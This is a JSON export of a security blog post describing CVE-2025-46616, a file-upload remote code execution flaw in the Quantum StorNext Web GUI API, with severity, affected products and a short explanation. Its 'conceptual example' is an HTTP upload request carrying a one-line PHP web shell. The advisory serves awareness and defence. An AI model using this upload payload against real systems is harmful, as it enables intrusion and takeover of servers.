{"id":34113,"date":"2025-05-01T19:36:47","date_gmt":"2025-05-01T19:36:47","guid":{"rendered":""},"modified":"2025-05-11T06:20:29","modified_gmt":"2025-05-11T06:20:29","slug":"cve-2025-46616-arbitrary-remote-code-execution-vulnerability-in-quantum-stornext-web-gui-api","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-46616-arbitrary-remote-code-execution-vulnerability-in-quantum-stornext-web-gui-api\/","title":{"rendered":"<strong>CVE-2025-46616: Arbitrary Remote Code Execution Vulnerability in Quantum StorNext Web GUI API<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-46616 vulnerability is a severe issue associated with Quantum StorNext Web GUI API versions before 7.2.4. This vulnerability has a significant impact, potentially allowing an attacker to execute arbitrary code remotely on the affected systems. This means that an attacker could gain control over a system, leading to various consequences, such as <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3914-potential-arbitrary-file-uploads-and-system-compromise-in-aeropage-sync-for-airtable-wordpress-plugin\/\"  data-wpil-monitor-id=\"40582\">system compromise<\/a> or data leakage. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32849-vulnerability-in-telecontrol-server-basic-leads-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"39460\">systems affected by this vulnerability<\/a> are StorNext RYO, StorNext Xcellis Workflow Director, and ActiveScale Cold Storage, all prior to version 7.2.4.<br \/>\nThis vulnerability is of major concern because the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32843-sql-injection-vulnerability-in-telecontrol-server-basic-leading-to-authorization-bypass-and-data-manipulation\/\"  data-wpil-monitor-id=\"39058\">Quantum StorNext<\/a> solutions are widely used for managing data, and a successful exploit could put sensitive information at risk. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-1290-high-severity-race-condition-use-after-free-vulnerability-in-kernel-5-4-on-chromeos\/\"  data-wpil-monitor-id=\"41783\">severity of this vulnerability<\/a>, coupled with the potential widespread impact, underscores the need for immediate action to mitigate its effects.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-46616<br \/>\nSeverity: Critical (CVSS: 9.9)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32857-sql-injection-vulnerability-in-telecontrol-server-basic-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"39841\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-419498927\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Quantum StorNext RYO | Before 7.2.4<br \/>\nQuantum StorNext Xcellis Workflow Director | Before 7.2.4<br \/>\nActiveScale Cold Storage | Not specified<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The CVE-2025-46616 vulnerability stems from insufficient sanitization of user-supplied files in <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-43949-high-risk-sql-injection-vulnerability-in-mum-mapedit-web-application\/\"  data-wpil-monitor-id=\"39545\">Quantum StorNext<\/a> Web GUI API. An attacker could exploit this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-43958-arbitrary-file-upload-vulnerability-in-hospital-management-system-v4-0\/\"  data-wpil-monitor-id=\"39673\">vulnerability by uploading a crafted file<\/a> that contains malicious code. Once the file is uploaded to the affected system, the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-40446-arbitrary-code-execution-vulnerability-in-forkosh-mime-tex\/\"  data-wpil-monitor-id=\"39840\">code within the file could be executed<\/a>, potentially giving the attacker control over the system.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2222719175\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Note: This is a simplified conceptual example of how the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-45428-remote-arbitrary-code-execution-vulnerability-in-tenda-ac9-v1-0-firmware\/\"  data-wpil-monitor-id=\"40035\">vulnerability<\/a> might be exploited and does not represent actual exploit code.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/uploadFile HTTP\/1.1\nHost: vulnerable-system.example.com\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW\n------WebKitFormBoundary7MA4YWxkTrZu0gW\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;exploit.php&quot;\nContent-Type: application\/php\n&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;\n------WebKitFormBoundary7MA4YWxkTrZu0gW--<\/code><\/pre>\n<p>In this example, the attacker attempts to upload a PHP file that contains a system <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-28034-remote-command-execution-vulnerability-in-totolink-wireless-routers\/\"  data-wpil-monitor-id=\"39459\">command execution<\/a> function. If the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3616-arbitrary-file-upload-vulnerability-in-greenshift-wordpress-plugin\/\"  data-wpil-monitor-id=\"39912\">upload is successful and the file<\/a> is executed, the attacker could potentially gain control over the system.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-46616 vulnerability is a severe issue associated with Quantum StorNext Web GUI API versions before 7.2.4. This vulnerability has a significant impact, potentially allowing an attacker to execute arbitrary code remotely on the affected systems. This means that an attacker could gain control over a system, leading to various consequences, such as system [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-34113","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/34113","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=34113"}],"version-history":[{"count":9,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/34113\/revisions"}],"predecessor-version":[{"id":37097,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/34113\/revisions\/37097"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=34113"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=34113"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=34113"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=34113"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=34113"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=34113"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=34113"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=34113"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=34113"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}